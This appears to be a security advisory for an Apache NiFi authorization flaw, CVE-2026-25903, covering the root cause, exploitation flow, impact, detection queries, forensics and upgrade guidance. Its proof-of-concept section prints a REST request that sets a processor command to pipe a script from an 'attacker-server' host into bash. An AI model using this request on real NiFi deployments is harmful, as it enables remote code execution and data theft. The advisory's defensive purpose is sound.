CVE-2026-25903: Apache NiFi Authorization Bypass Lets Low-Privilege Users Modify Restricted Dataflows

Apache NiFi – Missing Authorization on Restricted Component Updates

CVE ID: CVE-2026-25903
Product: Apache NiFi
Affected Versions: 1.1.0 through 2.7.2
Fixed Version: 2.8.0
CVSS Score: 8.7 (High)
Severity: High
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (Authenticated user)
User Interaction: None
Scope: Unchanged
Impact: Confidentiality, Integrity, Availability

This vulnerability is caused by a missing authorization enforcement when updating already deployed restricted components in Apache NiFi. While NiFi correctly enforces elevated permissions when adding restricted components to a dataflow, insufficient checks were applied during subsequent configuration updates.

As a result, authenticated users without restricted-component privileges could modify configuration properties of components that were already present in a flow.

In environments where NiFi orchestrates sensitive data pipelines, configuration changes can effectively alter application logic. Because NiFi flows control routing, transformation, authentication, and outbound communications, this weakness can lead to serious operational compromise.

Technical Root Cause

Apache NiFi uses role-based authorization and labels certain processors and controller services as Restricted. These components require additional privileges because they may:

Execute system commands
Access sensitive credentials
Connect to external systems
Access local file systems
Perform scripting operations

The flaw occurs because the authorization layer validated restricted privileges during component creation but did not consistently validate them during configuration updates.

If a restricted processor already existed in a flow (for example, deployed earlier by an administrator), a lower-privileged authenticated user could send a REST API request to modify its properties.

The missing authorization check allowed configuration changes without revalidating restricted access privileges.

Exploitation Scenario

Step-by-Step Exploitation Flow

An attacker obtains valid NiFi credentials (even low-level operational user access is sufficient).
The attacker identifies existing restricted processors or controller services within the flow.
Using the NiFi UI or REST API, the attacker submits a configuration update request.
NiFi accepts the update without verifying restricted privileges.
The processor behavior changes according to the malicious configuration.

Potential Abuse Cases

Redirecting data to attacker-controlled external endpoints
Replacing credentials with attacker-owned authentication tokens
Injecting malicious script content in scripting processors
Modifying ExecuteProcess or ExecuteScript components to execute arbitrary commands
Altering routing logic to suppress logging or detection

Since NiFi is effectively a data orchestration engine, configuration manipulation equals logic manipulation.

Proof of Concept (Educational)

The following illustrates how a configuration update is performed via REST API. This example is provided for educational and defensive validation purposes only.

PUT /nifi-api/processors/{processor-id}
Content-Type: application/json

{
  "revision": {
    "version": 12
  },
  "component": {
    "id": "{processor-id}",
    "config": {
      "properties": {
        "Command": "curl http://attacker-server/payload.sh | bash"
      }
    }
  }
}

In vulnerable versions, if the processor was already deployed and marked restricted, the above request could succeed even if the user lacked restricted privileges.

No publicly weaponized exploit frameworks are widely distributed at the time of writing. However, exploitation requires only legitimate REST interaction and therefore is straightforward once authenticated access is obtained.

Impact Analysis

Confidentiality

Sensitive data can be redirected to unauthorized destinations.
Credentials stored in processor properties may be exposed or replaced.

Integrity

Flow definitions and routing logic can be altered.
Data transformation rules can be modified.
Execution parameters can be manipulated.

Availability

Processors can be misconfigured to cause backpressure, failure loops, or service interruption.

MITRE Mapping

CWE: CWE-862 (Missing Authorization)

Relevant ATT&CK Techniques:

T1078 – Valid Accounts
T1562 – Impair Defenses
T1608 – Modify System Configuration
T1059 – Command Execution (if script injection occurs)

Detection Strategy

Log Sources

NiFi application logs
NiFi audit logs
NiFi access logs
Reverse proxy logs (if NiFi is behind load balancer)
Identity provider authentication logs
NiFi Registry version change logs

Indicators of Compromise

Non-admin users performing HTTP PUT requests to /nifi-api/processors/
Frequent configuration updates within short intervals
Processor property changes outside approved change windows
Outbound connections to unknown IP addresses after configuration changes
Unexpected version increments in flow definitions

Splunk Detection Query

index=nifi_logs
(method=PUT OR method=POST)
(uri_path="/nifi-api/processors/" OR 
 uri_path="/nifi-api/controller-services/" OR 
 uri_path="/nifi-api/process-groups/")
| stats count by user, client_ip, uri_path, status
| lookup user_roles user OUTPUT role
| where role!="admin"

Elastic / Kibana KQL

http.request.method: "PUT" AND 
(http.request.uri: "/nifi-api/processors/*" OR
 http.request.uri: "/nifi-api/controller-services/*" OR
 http.request.uri: "/nifi-api/process-groups/*")

Add filtering logic to alert when the user is not part of an administrative group.

Behavioral Detection

Monitor for:

Changes to processor properties containing keywords like Command, Script, URL, Endpoint, Password, AccessKey, SecretKey
Execution processors suddenly modified
Increased outbound HTTP/HTTPS traffic from NiFi host

Forensic Review Steps

Compare current flow configuration against last approved baseline.
Review NiFi Registry commit history for unauthorized changes.
Inspect processor property history.
Rotate any credentials configured in modified components.
Validate no persistence logic was inserted.

Mitigation

Upgrade immediately to Apache NiFi 2.8.0
Restrict UI and API exposure to trusted networks
Enforce least privilege model
Enable centralized logging
Implement change management approvals for flow modifications

Official Patch / Upgrade

Upgrade to Apache NiFi version 2.8.0 or later.

Official download page:
https://nifi.apache.org/download/

Risk Assessment Summary

This vulnerability does not allow unauthenticated remote compromise. However, in real-world enterprise environments where multiple operational users exist, the ability to modify restricted components without proper authorization presents significant insider and credential-compromise risk.

Because exploitation only requires standard API interaction, detection and prevention should be prioritized even if public exploit kits are not circulating.